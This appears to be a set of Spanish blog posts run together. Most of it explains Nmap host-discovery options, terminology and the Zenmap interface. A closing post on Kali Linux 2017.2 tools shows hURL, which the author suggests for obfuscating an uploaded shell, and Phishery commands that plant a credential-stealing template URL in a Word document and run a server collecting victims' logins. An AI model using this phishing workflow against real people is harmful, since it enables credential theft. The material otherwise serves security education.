Continuando esta serie, aquí estamos con la segunda parte del tema Métodos y técnicas de análisis con Nmap desde línea de comandos, la primera parte está aquí. Cómo anteriormente dijimos esta sección será un poco extensa ya que detallaremos cómo funciona cada una de las posibles opciones de nmap y que realiza cada una de ellas así cómo ventajas y desventajas.
· PING UDP (-PU<lista de puertos>)
El enfoque de esta técnica es opuesto a las anteriores, por el hecho de que se envía paquetes a puertos que se considera estarán cerrados en el objetivo (por defecto se utiliza el puerto 57145). Esto es así porque, al ser el protocolo UDP sin conexión, un paquete enviado a un puerto abierto puede no recibir respuesta, aunque haya algún servicio escuchando en el puerto al que se ha enviado la sonda. Por el contrario, si se utiliza un puerto cerrado, el objetivo debería devolver un paquete ICMP del tipo Puerto Inalcanzable, dejando constancia de su existencia.
Tanto la falta de respuesta como la recepción de otro tipo de ICMPs será indicativo de destino inalcanzable. La principal ventaja de este tipo de escaneo es su capacidad de traspasar herramientas cortafuegos que sólo filtren paquetes TCP.
Las siguientes figuras muestran cómo esta técnica envía un paquete UDP al puerto 57145, que se considera con altas posibilidades de estar cerrado. En efecto lo está y responde con un paquete RST descubriendo con ello al objetivo.
· PINGS ICMP (-PE, -PP, -PM)
La forma más extendida de realizar un descubrimiento de equipos es mediante la utilidad ping del sistema operativo, la cual envía paquetes ICMP Echo Request al destino y espera una respuesta ICMP Echo Reply. Nmap es capaz de imitar esta técnica mediante la opción -PE (Ping ICMP Echo). Dado que la mayoría de los filtros bloquean este tipo de paquetes, Nmap implementa dos técnicas más basadas en paquetes ICMP, que consisten en enviar paquetes de tipo ICMP Timestamp (-PP) y ICMP Addressmask (-PM), que deberían estar activos en todos los equipos que implementen el estándar RFC792 (la mayoría de los dispositivos existentes actualmente). Estas técnicas persiguen conseguir el descubrimiento de equipos en caso que únicamente se encuentren filtrados los paquetes ICMP Echo, y no se hayan tenido en cuenta otros tipos de paquetes ICMP en las reglas de bloqueo.
Allí se ha mostrado la operatoria de esta técnica: se envían seguidos los tres tipos de paquetes ICMP request al objetivo, recibiendo casualmente respuestas a las tres peticiones, anunciando con ello que la máquina es alcanzable.
· PING SCTP (-PY<listado de puertos>)
El protocolo SCTP pertenece a la capa de transporte, como TCP y UDP, inicialmente definido por el grupo SIGTRAN de IETF en el año 2000 para transportar señalización telefónica SS7 sobre IP, con la idea de dotar el protocolo IP de algunas de las características de confiabilidad de SS7, aunque su versatilidad le ha permitido expandirse en otras áreas.
Proporciona, como TCP, confiabilidad, control de flujo y secuenciación, aunque permite además el envío de mensajes fuera de orden, y es un protocolo orientado al mensaje. Otras características importantes son: capacidad de que los extremos de la conexión dispongan de más de una dirección IP (multihoming); capacidad para monitorizar y seleccionar caminos según las necesidades de la red; mecanismos de validación para evitar ataques y de notificación para evitar pérdidas o duplicados; así como multistream, o fragmentos independientes, que eliminan el Head-of-line blocking de TCP. Utiliza un handshake en cuatro fases (INIT, INIT-ACK, COOKIE-ECHO, COOKIE-ACK).
Este tipo de análisis envía sondas SCTP INIT al puerto 80 (se pueden definir otros puertos, pasándolos como parámetro), indicando que se quiere realizar una conexión SCTP con el objetivo. Si el equipo está levantado, responderá o bien con un paquete INIT-ACK (puerto abierto) o bien con un paquete ABORT (puerto cerrado). En cualquier otro caso se considerará el equipo como inactivo.
· IP PROTOCOL PING (-PO<listado protocolos>)
Una de las técnicas más novedosas para el descubrimiento de equipos consiste en el envío de paquetes con un protocolo concreto especificado en sus cabeceras. Por defecto, se envían sondas con los protocolos 1 (ICMP), 2 (IGMP) y 4 (Encapsulado IP), aunque se puede, del mismo modo que en otros casos, introducir un listado de protocolos a utilizar.
Para los protocolos ICMP, IGMP, TCP (protocolo 6) y UDP (protocolo 17), se envían paquetes con las cabeceras propias del protocolo, mientras que para el resto de protocolos, se envía un paquete IP sin contenido tras la cabecera IP. Este método espera respuestas utilizando el mismo protocolo, o paquetes ICMP del tipo Protocolo Inalcanzable, que indiquen que el equipo objetivo está vivo.
Se puede ver, como se indicaba anteriormente, que algunos de los paquetes enviados no están correctamente formados, ya que Nmap únicamente rellena las cabeceras de los mismos, sin introducir datos válidos en ellos.
Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.
En esta sección se muestran los métodos y técnicas de análisis que tiene Nmap, su descripción y funcionamiento, y ejemplos de uso y los paquetes intercambiados. Tras esto, se muestran algunos detalles a tener en cuenta a la hora de planificar y realizar un análisis rápido y efectivo a una red, y el modo en que estos detalles se pueden definir en Nmap.
Harémos énfasis en la duración de esta sección a lo largo de esta serie de post, ya que será en esta sección donde ser verá todas las posibles opciones que podemos añadir a NMap, así mismo se detallará cada una de ellas y se dará ejemplos junto a demostraciones gráficas y análisis de paquetes con el uso de Wireshark.
La sintaxis de Nmap es la siguiente:
nmap [Tipo(s) de análisis] [Opciones] [Objetivos]
Los tipos de análisis y las opciones generalmente comienzan con un guión ("-") a diferencia de los objetivos del análisis. Estos objetivos se pueden definir como direcciones IP, intervalos de direcciones, rangos CIDR o nombres de dominio (estos últimos también aceptan notación CIDR). De este modo, son válidos los objetivos 192.168.10.10, 172.16.128-130.0-255, 10.0.0.0/16 y scanme.nmap.org/28.
TÉCNICAS DESCUBRIMIENTO DE EQUIPOS.
En esta fase, la primera que realiza Nmap, se examina el conjunto de equipos que se ha pasado a Nmap para evaluar aquellos que están activos, y por tanto van a pasar a ser analizados. Existen varios métodos, descritos a continuación, que permiten realizar esta función.
1. NO PING (-Pn)
Esta opción evita completamente que Nmap realice la fase de Descubrimiento de Equipos. Es útil si se desea que todos los objetivos especificados sean considerados como activos, y de este modo se realice un escaneo de puertos en todos ellos, sin excepción.
El uso de esta opción puede tener una notable incidencia negativa en el rendimiento de un escaneo a gran escala, puesto que un escaneo de puertos contra una máquina inalcanzable consumirá mucho más tiempo, debido que vencerán todos los temporizadores de las respuestas esperadas a cada sonda enviada. Por otra parte, esta opción puede ser de utilidad si en la red analizada se bloquea, al menos en parte, el tráfico ICMP, que es el utilizado por defecto en la fase de descubrimiento de equipos. En versiones anteriores de Nmap, esta opción se activaba con los modificadores -P0 o -PN.
2. LIST SCAN (-sL)
Esta opción únicamente lista los objetivos dados como argumentos, sin enviar paquete alguno a éstos. Por defecto, Nmap realiza una resolución DNS inversa de los equipos a analizar, así que si se selecciona este método, los paquetes relacionados con esta resolución serán los únicos que se enviarán. Esta es una opción especialmente sigilosa (no intrusiva) con la cual obtener información potencialmente valiosa, y que puede servir también para comprobar que no se va a analizar ningún activo fuera de nuestro alcance.
La siguiente figura muestra el resultado textual de la invocación del comando.
3. NO PORT SCAN (-sn)
También conocida como Ping Scan o Ping Sweep. Esta opción, cuando se indica de forma explícita, instruye a Nmap para que no realice un análisis de los puertos tras completar una fase estándar de descubrimiento de los equipos activos dentro del listado de equipos a analizar, a excepción de los análisis de scripts (--script) o de rutas (--traceroute), si se indican de forma explicita. Si no se indica ninguna opción de descubrimiento de equipos, Nmap realiza por defecto las comprobaciones que se indican a continuación para tratar de descubrir los equipos que están activos y los que no, antes de iniciar la siguiente fase de análisis de puertos, para que esta sea más rápida.
Esta técnica es sensiblemente intrusiva ya que envía varias sondas a los objetivos, a diferencia del List Scan donde no se envía ninguna sonda a los objetivos, y suele utilizarse con el mismo fin. Permite realizar un reconocimiento ligero de la red objetivo de forma notablemente sigilosa. Esta técnica es igualmente útil para administradores que deseen de manera sencilla contabilizar el número de máquinas activas en su red, o monitorizar la disponibilidad de sus servidores.
Si se ejecuta sin privilegios de administración, Nmap utiliza las llamadas al sistema connect para conectarse a los puertos 80 y 443 de los objetivos. En cambio, si el usuario tiene permisos administrativos se envía por defecto un paquete TCP ACK al puerto 80 (-PA), un TCP SYN (-PS) al 443 además de un paquete ICMP Echo Request y un ICMP Timestamp Request, salvo cuando el usuario especifica otros parámetros, en cuyo caso este sirve únicamente para indicar que no se debe continuar con la fase de análisis de puertos. Si el objetivo es local a la propia subred, se utilizará únicamente paquetes ARP (-PR).
En versiones anteriores de Nmap, esta técnica se activaba con el modificador -sP. En la siguiente figura se muestra como Nmap descubre dos objetivos de forma totalmente distinta. El primero, al encontrarse en la misma subred que el origen es descubierto mediante una Ping ARP. Al segundo objetivo se le envían dos sondas, un paquete ICMP Echo Request y un Ping ACK, respondiendo solamente a la primera.
** Sin root **
** Cómo root **
En las figuras anteriores se puede comprobar la diferencia entre ejecutar el mismo comando en un equipo sobre el que se tienen privilegios de administración y en otro sobre el que no se tienen permisos. En el segundo caso, se utilizan únicamente llamadas al sistema, por lo que siempre se realizan conexiones completas, a diferencia de en el equipo donde si se tienen privilegios.
4. PING ARP (-PR)
Uno de los escenarios en los que con más frecuencia se usa Nmap es para escanear redes locales Ethernet. Estas redes suelen tener muchos host inactivos, por lo que el proceso de escaneo basado en paquetes IP (ICMP echo request), que implica una resolución ARP anterior en cada caso, es notablemente lento, debido a los retardos introducidos por el sistema operativo en el envío de paquetes y al tamaño limitado de la cache ARP.
Esta técnica utiliza un algoritmo optimizado para realizar peticiones ARP, superando así las limitaciones de los sistemas operativos, que no están diseñados para hacer peticiones masivas. Debido a su especial fiabilidad y rapidez, no es necesario realizar pings IP si se recibe respuesta ARP para conocer si un equipo es alcanzable.
Esta técnica se utiliza por defecto cuando Nmap detecta que los equipos a analizar pertenecen a su misma red local, aunque no se especifique de forma explicita. Si se quiere evitar que se realice esta comprobación, se debe añadir el parámetro -send-ip, que evita que Nmap tome control del análisis ARP y únicamente envíe paquetes de tipo IP.
Las siguientes figuras muestran cómo el origen envía un ARP Request a la dirección de broadcast y el objetivo se descubre a sí mismo respondiendo con un ARP Response. Finalmente obtiene información adicional con una consulta al DNS inverso.
5. PING TCP SYN (-PS<listado de puertos>)
Esta técnica, si no se añade ningún puerto, envía al objetivo un paquete TCP vacío con el flag SYN activado al puerto 80. Se puede indicar un listado de puertos sobre los que realizar este análisis, separándolos por comas o introduciendo intervalos separados por un guión (p.ej. -PS22-25,80,443,8080).
El flag SYN indica al destino el deseo de establecer una conexión TCP por el origen. En este punto no interesa saber si el puerto analizado está abierto o cerrado, por lo que si Nmap recibe una respuesta de cualquier tipo del destino (ya sea un paquete RST indicando que el puerto está cerrado, o un paquete SYN/ACK indicando que se continua con el inicio de sesión TCP), NMap sabrá que el objetivo es alcanzable. Si por el contrario expira el temporizador, el destino se marcará como inalcanzable.
Si el usuario no tiene privilegios, se utiliza de forma automática una alternativa que consiste en enviar una solicitud de conexión TCP a través del sistema operativo (se utiliza la llamada del sistema connect). Del mismo modo que para un usuario privilegiado, si se recibe respuesta del objetivo, se sabe que este es alcanzable.
Este comportamiento, el uso de la llamada del sistema connect, también se utilizaba en versiones anteriores de Nmap para el análisis de redes IPv6, donde se utilizaban las funcionalidades proporcionadas por el sistema operativo. En la versión 6 se ha añadido la funcionalidad de generación de paquetes IPv6 en Nmap, por lo que se eliminan las restricciones de generación de paquetes impuestas por el sistema operativo para realizar análisis.
La eficacia de esta técnica es limitada, dado que muchos cortafuegos bloquean los paquetes SYN como medida preventiva para evitar el establecimiento de una conexión. En este caso la efectividad puede aumentar si se usa la técnica de Ping TCP ACK, descrita a continuación.
A continuación le añadiremos 3 puertos a la opción -PS de NMap y veremos cómo envia paquete a los 3, pero a la primera respuesta, finaliza el escaneo ya que el host es alcanzable.
6. PING TCP ACK (-PA<listado de puertos>)
El funcionamiento de esta técnica es idéntica a la de Ping TCP SYN, con la excepción de que ésta envía un paquete TCP al puerto 80 con el flag ACK activado. También se pueden añadir más puertos, indicando a continuación el listado de puertos sobre los que realizar este análisis, con el mismo formato que en casos anteriores.
Cuando un equipo recibe este tipo de paquetes sin existir previamente una conexión establecida, en principio deben responder con un paquete RST revelando de este modo su presencia. Esta técnica complementa la anterior al aumentar las posibilidades de traspasar filtros intermedios, como herramientas cortafuegos sin estado, debido a que muchos administradores configuran solamente reglas para interceptar paquetes entrantes SYN y no ACK. Los cortafuegos con estado suelen interceptar con éxito los paquetes inesperados, como el enviado con esta técnica, debido a que no se corresponde con ninguna sesión registrada previamente por un paquete SYN entrante. Una solución eficaz es combinar esta técnica con la anterior para que ambas sondas, SYN y ACK, sean enviadas.
En la siguiente figura se puede comprobar cómo esta técnica envía un TCP ACK al puerto 80 del objetivo como si tratara de asentir la recepción de un hipotético paquete enviado durante una conexión establecida. El objetivo niega que haya habido conexión alguna enviando un paquete RST, revelando con ello su presencia.
Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.
La mayoría de las tecnologías aplicadas a la seguridad en sistemas de información pueden ser utilizadas tanto para la protección de éstos como para propósitos menos honestos, incluso ilegales. La presente serie "Hacking con Nmap" afronta el reto de mostrar a usuarios bien intencionados un conjunto de aplicaciones reales de algunas de estas tecnologías, pero no se abstrae de los usos controvertidos que pudiera ocasionar, advirtiéndolo en los casos que así pudiera ser.
Las tecnologías más importantes a las que se hace referencia en esta serie son las siguientes:
Escáner de Puertos: un escáner de puertos es una herramienta de seguridad destinada principalmente a la búsqueda de puertos abiertos en una máquina remota. Habitualmente es utilizado tanto por administradores, como ayuda en la
tarea de análisis de la seguridad de sus redes, como por usuarios malintencionados, para intentar comprometer las redes y acceder a recursos y servicios no autorizados. Nmap es un ejemplo escáner de puertos avanzado y junto con esta funcionalidad permite otras muchas, como podrá verse a lo largo de esta serie.
Un
puerto constituye cada uno de los huecos en que se puede alojar un
servicio que desee ofrecer sus servicios al exterior. En un mismo equipo
existen 65535 (64Ki) puertos TCP y otros tantos UDP. Dependiendo de su estado, se puede conocer si existe o no un servicio alojado en él.
Capturador de tráfico de red/Analizador de protocolos: un capturador de tráfico de red es una herramienta de seguridad capaz de interceptar y registrar el tráfico que pasa a través de una red de datos. Es habitual que sean utilizadas en combinación con un analizador de protocolos, capaz de decodificar y analizar si el contenido de las capturas cumple con alguna especificación o estándar particular.
Las aplicaciones más comunes de estas herramientas son: análisis de problemas de red, detección de intentos de intrusión, obtención de información para realizar una intrusión, monitorización del uso de la red, extracción de estadísticas de red, depuración de aplicaciones de comunicaciones, e incluso la obtención de información sensible no protegida. WinPcap y tcpdump son ejemplos de capturadores de tráfico, mientras que WireShark, que utiliza las anteriores para capturar tráfico, es el analizador de protocolos más utilizado.
Cortafuegos: un cortafuegos es un sistema informático, simple o compuesto, residente en una máquina, o como elemento de interconexión de redes, que actúa de punto de conexión segura entre otros sistemas informáticos. Un cortafuegos se sitúa, a modo de frontera, entre dos o más redes con la finalidad de hacer cumplir unas determinadas directivas de seguridad sobre la comunicación entre ellas, constituyéndose como el mecanismo básico para la prevención y detección de amenazas de seguridad. iptables es un ejemplo de cortafuegos.
IDS/IPS (Sistema de detección/prevención de intrusiones): un sistema de detección de intrusiones (IDS) es una herramienta que analiza el tráfico de red y, en base a unas reglas predefinidas, identifica comportamientos maliciosos e intentos de explotación no autorizada de recursos. Si además de identificar, el dispositivo tiene la capacidad de bloquear el tráfico que constituye el ataque, se trata entonces de un sistema de prevención de intrusiones (IPS). Snort es un ejemplo de este tipo de herramienta. Generalmente estos sistemas son independientes, pero actualmente están evolucionando e introduciéndose como parte de las propias aplicaciones a proteger, en lo que se viene a llamar cortafuegos de nivel de aplicación.
TERMINOLOGÍA
A lo largo de esta serie se utilizan repetidamente una serie de términos que hacen referencia a conceptos técnicos, naturales al software de administración de redes, y en concreto a Nmap. En virtud del rigor que se desea imprimir a la serie "Hacking con Nmap", se definen a continuación los siguientes términos:
Comando: instrucción tipada en Nmap que contiene los argumentos necesarios para acotar las características de cada uno de los escaneos ejecutados con esta herramienta. El formato de un comando en Nmap responde a la siguiente sintaxis.
Obsérvese la distinta utilización normalizada del guión "-" para cada uno de los argumentos del comando en Nmap. Las versiones de Nmap (Cómo Zenmap) con interfaz gráfica de usuario permiten la composición de estos comandos de forma amigable, facilitando la labor del usuario menos acostumbrado a trabajar en línea de comandos.
Técnica: cada una de las funcionalidades, entendiendo funcionalidades como distintos tipos de escaneo, existentes en Nmap. Una técnica es susceptible de ser configurada según los criterios del usuario mediante un conjunto de Opciones y Modificadores disponibles en la propia herramienta. En Nmap se definen las siguientes Técnicas:
* Técnicas de Descubrimiento de Equipos: determinación del estado de una o un conjunto de máquinas.
* Técnicas de Escaneo de Puertos: determinación del estado de uno o un conjunto de puertos.
Cada una de estas técnicas puede distinguirse por su especificidad o sofisticación tecnológica, para lo que la calificación de básica o avanzada será aplicada a lo largo de esta serie.
* Opción: una Opción es cualquier argumento pasado a Nmap que no sea reconocida como una Técnica o un Objetivo.
* Modificador Nmap: los Modificadores permiten alterar tanto el comportamiento como las salidas de las Técnicas sobre las que actúan, dotándolas de mayor potencia y flexibilidad. Al igual que sucede con las Técnicas y por los mismos motivos, los Modificadores pueden ser calificados como básicos o avanzados. En última instancia, un Modificador puede verse como una Opción adicional, con el objeto de aumentar la granularidad y el espectro de funcionalidades que Nmap ofrece. Toda funcionalidad de Nmap es una Opción, o un conjunto de Opciones, cuando intervienen Modificadores.
Objetivo: es aquella máquina o conjunto de máquinas (subred) sobre la que Nmap llevará a cabo un análisis, utilizando para ello una o más Técnicas. Los Objetivos se especifican mediante una URL, dirección IP, bloque de direcciones en el formato CIDR o intervalo de direcciones separado por un guión (ver nota). Cualquier argumento pasado en línea de comandos que no sea reconocido como una Técnica, Opción o Modificador, será tratado como un Objetivo.
CIDR, del término inglés Classless Inter-Domain Routing, es una notación en la que se define un conjunto de equipos utilizando la IP más baja de las que forman el grupo, seguido del número de bits comunes que tienen el conjunto de direcciones del rango. Por ejemplo: 192.168.1.0/24 agrupa los equipos cuya dirección tiene los primeros 24 bits iguales, es decir, desde el equipo 192.168.1.0 hasta el equipo 192.168.1.255. Más información en http://es.wikipedia.org/wiki/Classless_Inter-Domain_Routing.
Nota: Este formato para fijar objetivos permite, para cada número de los que conforman una dirección IP, introducir un intervalo separado por un guión. Por ejemplo, el intervalo 172.16.0.1-20 analizará las direcciones IP desde la 172.16.0.1 hasta la 172.16.0.20, mientras que el intervalo 172.16.0-2.20-25 analizará las IP 172.16.0.20 hasta la 25, así como las 172.16.1.20 hasta la 25 y las 172.16.2.20 hasta la 25.
Sonda: cada uno de los paquetes de prueba enviados por Nmap a los Objetivos como parte de un escaneo. En general son paquetes especialmente construidos que para obtener su propósito, provocar o no una respuesta en el destino, explotan alguna particularidad de la implementación de la pila TCP/IP del Objetivo.
Estado de una máquina: Las Técnicas de descubrimiento de equipos están encaminadas a averiguar el estado de una o varias máquinas, es decir, a realizar un proceso de determinación de cuales de los equipos indicados como Objetivos están activos, que equivale a decir “en línea”, o remotamente alcanzables. La obtención de esta información es de gran ayuda para la realización de escaneos de puertos a gran escala, puesto que los equipos no activos no serán considerados a tal efecto, reduciendo considerablemente el tiempo del proceso.
Estado de un puerto: Aunque Nmap distingue más Estados, en general desde el punto de vista de una máquina remota, los puertos de comunicaciones tienen dos Estados: alcanzable e inalcanzable. Un puerto es “alcanzable” si no existe ninguna causa externa (p.ej. filtros intermedios) que evite el contacto entre los extremos. De este modo el origen tendrá información de si dicho puerto está a la escucha o está cerrado. Será “inalcanzable” en cualquier otro caso. Los puertos UDP abiertos, al no negociar una conexión de manera implícita, pueden dar la apariencia de que son inalcanzables.
Estado Nmap de un puerto: La salida de Nmap es, dependiendo de las Opciones elegidas, una lista de equipos escaneados a los que se acompaña de información adicional como el Estado de sus puertos. Nmap define seis Estados distintos para recoger los distintos grados de incertidumbre en la determinación de si un puerto está abierto o cerrado, es decir, a la escucha o no de nuevas conexiones o paquetes. A diferencia del punto anterior, estos Estados no son propiedades intrínsecas de los puertos, sino que definen cómo son vistos desde el exterior. La razón de que Nmap sea considerado un escáner de puertos avanzado es, entre otros motivos, debido a esta granularidad en el Estado de dichos puertos. Los Estados son los siguientes:
* Abierto: existe una aplicación en la máquina objetivo que está a la escucha de nuevas conexiones o paquetes TCP o UDP. Muestra un servicio disponible para ser usado en la red.
* Cerrado: es un puerto alcanzable, pero no existe una aplicación a la escucha en él.
* Filtrado: Nmap no ha recibido respuestas a las sondas enviadas hacia un puerto. Suele significar que una herramienta intermedia (generalmente cortafuegos, sondas IDS/IPS, otros elementos de la red, o cualquier otro tipo de filtro) está bloqueando dicho puerto, respondiendo con poca o ninguna información (en ocasiones con un ICMP de tipo “destino inalcanzable”). Esta circunstancia ralentiza notablemente el escaneo para descartar que se trata de un problema de congestión de la red.
* No filtrado: Solo aparece tras un análisis de tipo ACK. Es un puerto alcanzable, pero no es posible determinar si está abierto o cerrado.
* Abierto | filtrado: En este caso, Nmap no ha sido capaz de determinar si el puerto está abierto o filtrado debido a falta de respuestas, bien porque ésta o la Sonda están siendo eliminadas por algún tipo de filtro de paquetes. Se puede obtener en las técnicas UDP, TCP Null, Fin y Xmas, TCP Maimon e IP Protocol Scan (Más adelante de explicará).
* Cerrado | filtrado: Solo se obtiene tras un escaneo de tipo Idle. En este caso Nmap no ha sido capaz de determinar si el puerto está cerrado o filtrado.
Señuelo: es un equipo activo cuya dirección es utilizada como origen de las Sondas con el fin de enmascarar la propia IP en el escaneo, dificultando la traza del origen verdadero. El Objetivo verá que recibe paquetes de varios orígenes, por lo que probablemente responda o investigue a todos ellos, haciendo del uso de señuelos una técnica moralmente controvertida.
Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.
Cómo se explicó anteriormente, Nmap es una herramienta de línea de comandos, aunque, a medida que ha ido popularizándose, han aparecido numerosas interfaces gráficas que hacían que la interacción con el usuario fuera más sencilla.
Anteriormente, el interfaz gráfico "oficial" de Nmap se llamaba NmapFE, pero en el año 2006 se inició un proceso para cambiar esa interfaz por otra desarrollada con tecnologías más actuales, libres, con nuevas opciones y multiplataforma. La interfaz seleccionada fue UMIT, un proyecto basado en Python y GTK, que se incluyó por defecto en el fichero distribuible a partir de la versión 4.22SOC1.
Posteriormente, el equipo de desarrollo de Nmap tomó el código de UMIT,
renombrándolo a Zenmap, para seguir desarrollando por su parte la interfaz, al
mismo tiempo que se desarrollaba Nmap. El hecho de que esta interfaz esté programada en Python y GTK la hace fácilmente transportable entre distintas plataformas, por lo que se ha convertido en la interfaz más utilizada, cayendo muchos de los proyectos existentes anteriormente en desuso. Para esta Guía se ha elegido Zenmap, por ser la interfaz oficial incluida por defecto
en todas las versiones distribuibles de Nmap.
En la pantalla principal de la aplicación se puede ver, en la parte superior, un cuadro de texto llamado Target donde insertar los objetivos a analizar, seguida de un desplegable llamado Profile donde seleccionar el perfil que queremos aplicar al análisis. Justo debajo, el cuadro de texto Command nos permite personalizar los parámetros con que se ejecutará el análisis.
En la parte inferior derecha se encuentran un conjunto de pestañas, donde se muestra la información relevante. En la primera de ellas, llamada Nmap Output, se puede ver la salida de Nmap, a medida que este la va produciendo.
En la segunda pestaña, llamada Ports/Hosts, se puede ver un extracto de los puertos o equipos a los que afecta la selección hecha en el listado de la parte izquierda de la ventana, donde podemos ver un listado de equipos (Hosts) o servicios (Services), según el botón que pulsemos.
En la siguiente pestaña, llamada Topology, podemos ver un gráfico con el esquema de la red analizada, según ha detectado Nmap.
La penúltima pestaña permite visualizar detalles del equipo seleccionado en el
listado de la parte izquierda, mientras que la última pestaña sirve de recopilación de los análisis lanzados en la sesión actual de la aplicación, y permite añadir análisis externos desde fichero o eliminar análisis que no sean necesarios.
Finalmente, cabe destacar la opción que permite añadir perfiles al desplegable de la pantalla principal. Esta opción se encuentra en el menú Profile > New Profile or Command, y nos permite, mediante una ventana con pestañas, seleccionar las opciones a aplicar al análisis.
Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.
Kali Linux es una distribución especialmente diseñada para pruebas de pentesting en todos los ámbitos, debido a su gran calidad, número de herramientas y eficiencia, es la distribución de hacking más conocida a nivel mundial. Este pasado 20 de septiembre Kali Linux lanzó su ultima versión, Kali Linux 2017.2 la cual incluye un gran número significativo de cambios. A raiz del lanzamiento han salido a la luz cientos de publicaciones pero todas muy superficiales y poco útiles a decir verdad, más allá de algo meramente informativo no dicen mucho más. Nosotros nos enfocaremos en explicar sus nuevas herramientas, uso y sus funciones a detalle para que sean comprensibles. La versión mencionada puede ser descargada desde aquí, si ya tienes Kali Linux instalado solamente debes ejecutar los siguientes comandos:
apt update && apt upgrade && apt full-upgrade
A continuación mencionaremos sus nuevas herramientas:
1.hURL (Hexadecimal & URL encoder/decoder): Es un script sencillo, ligero y que cumple con todos los requisitos al momento de usarlo. Cómo su nombre lo indica sirve para codificar/decodificar URL's en diferentes tipos de formatos o hash. Las opciones disponible las podemos ver con el comando hurl --help, también podemos ejecutarlo a modo de una especie de "GUI" mediante el comando hurl -M.
[shl@SecHackLabs ~]$ hurl -M
[========================================================]
[ hURL - v2.1 by fnord0 - @COPYLEFT ]
[========================================================]
## Command Example Input Example Output
--- ---------------- ------------- --------------
1) URL encode hello world hello%20world
2) URL decode hello%20world hello world
3) Double URL encode hello world hello%2520world
4) Double URL decode hello%2520world hello world
5) Base64 encode hello world aGVsbG8gd29ybGQ=
6) Base64 decode aGVsbG8gd29ybGQ= hello world
7) HTML encode <hello world> <hello world>
8) HTML decode <hello world> hello world
9) RAW/ascii -> HEX hello world 68656c6c6f20776f726c64
10) HEX -> RAW/ascii 68656c6c6f20776f726c64 hello world
11) INT -> HEX 10 0xa
12) HEX -> INT 0xa 10
13) -INT -> HEX -77 FFFFFFFFFFFFFFB3
14) -HEX -> INT FFFFFFB3 -77
15) INT -> BIN 30 00011110
16) BIN -> INT 1010 10
17) FLOAT -> HEX 3.33 0xb81e5540
18) HEX -> FLOAT 0x40551ed8 1079320280.000000
19) OCTAL -> HEX 35 0x1d
20) HEX -> octal 0x1d 35
21) BIN -> HEX 1100011 0x63
22) HEX -> BIN 63 1100011
23) SHA1 checksum hello world 2aae6c35c94fcfb415dbe95f408b9ce9...
24) SHA224 checksum hello world 2f05477fc24bb4faefd86517156dafde...
25) SHA256 checksum hello world b94d27b9934d3e08a52e52d7da7dabfa...
26) SHA384 checksum hello world fdbd8e75a67f29f701a4e040385e2e23...
27) SHA512 checksum hello world 309ecc489c12d6eb4cc40f50c902f2b4...
28) ROT13 encode hello world uryyb jbeyq
29) ROT13 decode uryyb jbeyq hello world
30) MD5 digest hello world 5eb63bbbe01eeed093cb22bb8f5acdc3
## Commands useful for shellcode creation Input Output
--- -------------------------------------- ----- ------
31) push string 2 stack (corelanc0d3r) hello world ASM code to push string to stack
32) BINARY [infile] -> HEX (corelanc0d3r) BINARY FILE HEX to screen + counts NULL bytes
33) HEX [infile] -> BINARY [outfile] HEX FILE BINARY FILE
34) INT -> HEX (network-byte order) 4444 5c11
35) HEX (network-byte order) -> INT 5c11 4444
99) Exit hURL
hURL> 5
hURL:Base64encode> string or file? :: [string]
hURL:Base64encode:string> http://securityhacklabs.blogspot.com
Original :: http://securityhacklabs.blogspot.com
base64 ENcoded :: aHR0cDovL3NlY3VyaXR5aGFja2xhYnMuYmxvZ3Nwb3QuY29t
Press ENTER to continue...
Es una herramienta a la que podemos además darle otros usos como codificar archivos también para después darles otro uso (payloads codificados o simplemente ofuscar el código para que no sea visible a todo el mundo cuando querramos subir una shell a un servidor, son ejemplos).
[shl@SecHackLabs ~]$ echo "https://securityhacklabs.blogspot.com" > test
[shl@SecHackLabs ~]$ hurl -X -f test
Original file :: test
Hex ENcoded :: 68747470733a2f2f73656375726974796861636b6c6162732e626c6f6773706f742e636f6d
File byte count: 37 bytes
[shl@SecHackLabs ~]$ hurl -X --esc -f test
Original file :: test
Hex ENcoded :: "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x65\x63\x75\x72\x69\x74\x79\x68\x61\x63\x6b\x6c\x61\x62\x73\x2e\x62\x6c\x6f\x67\x73\x70\x6f\x74\x2e\x63\x6f\x6d"
File byte count: 37 bytes
[shl@SecHackLabs ~]$
2. Phishery: Es un servidor HTTP SSL simple con el propósito principal de
robar credenciales por medio de phishing mediante la autenticación básica en sistemas windows. Phishery también proporciona la capacidad de inyectar fácilmente URL's maliciosas en documentos .docx de Word.
El poder de phishery se demuestra mejor cambiando la plantilla de un documento de Word en una URL de phishery. Esto hace que Microsoft Word haga una solicitud a la dirección URL inyectada, lo que resulta en un cuadro de diálogo de autenticación que se muestra al usuario final. La posibilidad de inyectar cualquier archivo .docx con una URL se puede hacer de la siguiente manera:
[shl@SecHackLabs ~]$ phishery -u https://securityhacklabs.blogspot.com -i ~/documento.docx -o ~/documentoinfectado.docx
[+] Opening Word document: /home/shl/documento.docx
[+] Setting Word document template to: https://securityhacklabs.blogspot.com
[+] Saving injected Word document to: /home/shl/documentoinfectado.docx
[*] Injected Word document has been saved!
[shl@SecHackLabs ~]$
Si la injección ha sido exitosa, cuando el usuario final abra el archivo .docx se le presentará una ventana cómo la que aparece a continuación.
Nota: Es importante cambiar la URL a la que deseamos que nuestra víctima envíe sus credenciales, es decir, colocar en el parámetro -u la dirección IP y el puerto generado al ejecutar cómo root el comando phishery.
[shl@SecHackLabs ~]$ sudo phishery
[sudo] password for shl:
[+] Credential store initialized at: credentials.json
[+] Starting HTTPS Auth Server on: 0.0.0.0:443
Las credenciales robadas se guardarán en el fichero credentials.json.
3. SSH-Audit: Una herramienta diseñada para auditar servicios SSH en servidores la cual puede detectar tipos de encriptación, sistemas operativos, versiones usadas, recomendar posibles exploits para usar en cada versión del software ejecutado en el objetivo, soporta los protocolos SSH1 y SSH2 y recomienda algoritmos de acuerdo al software que sea reconocido en el objetivo.
[shl@SecHackLabs ~]$ ssh-audit
# ssh-audit.py v1.7.0, moo@arthepsy.eu
usage: ssh-audit.py [-1246pbnvl] <host>
-h, --help print this help
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
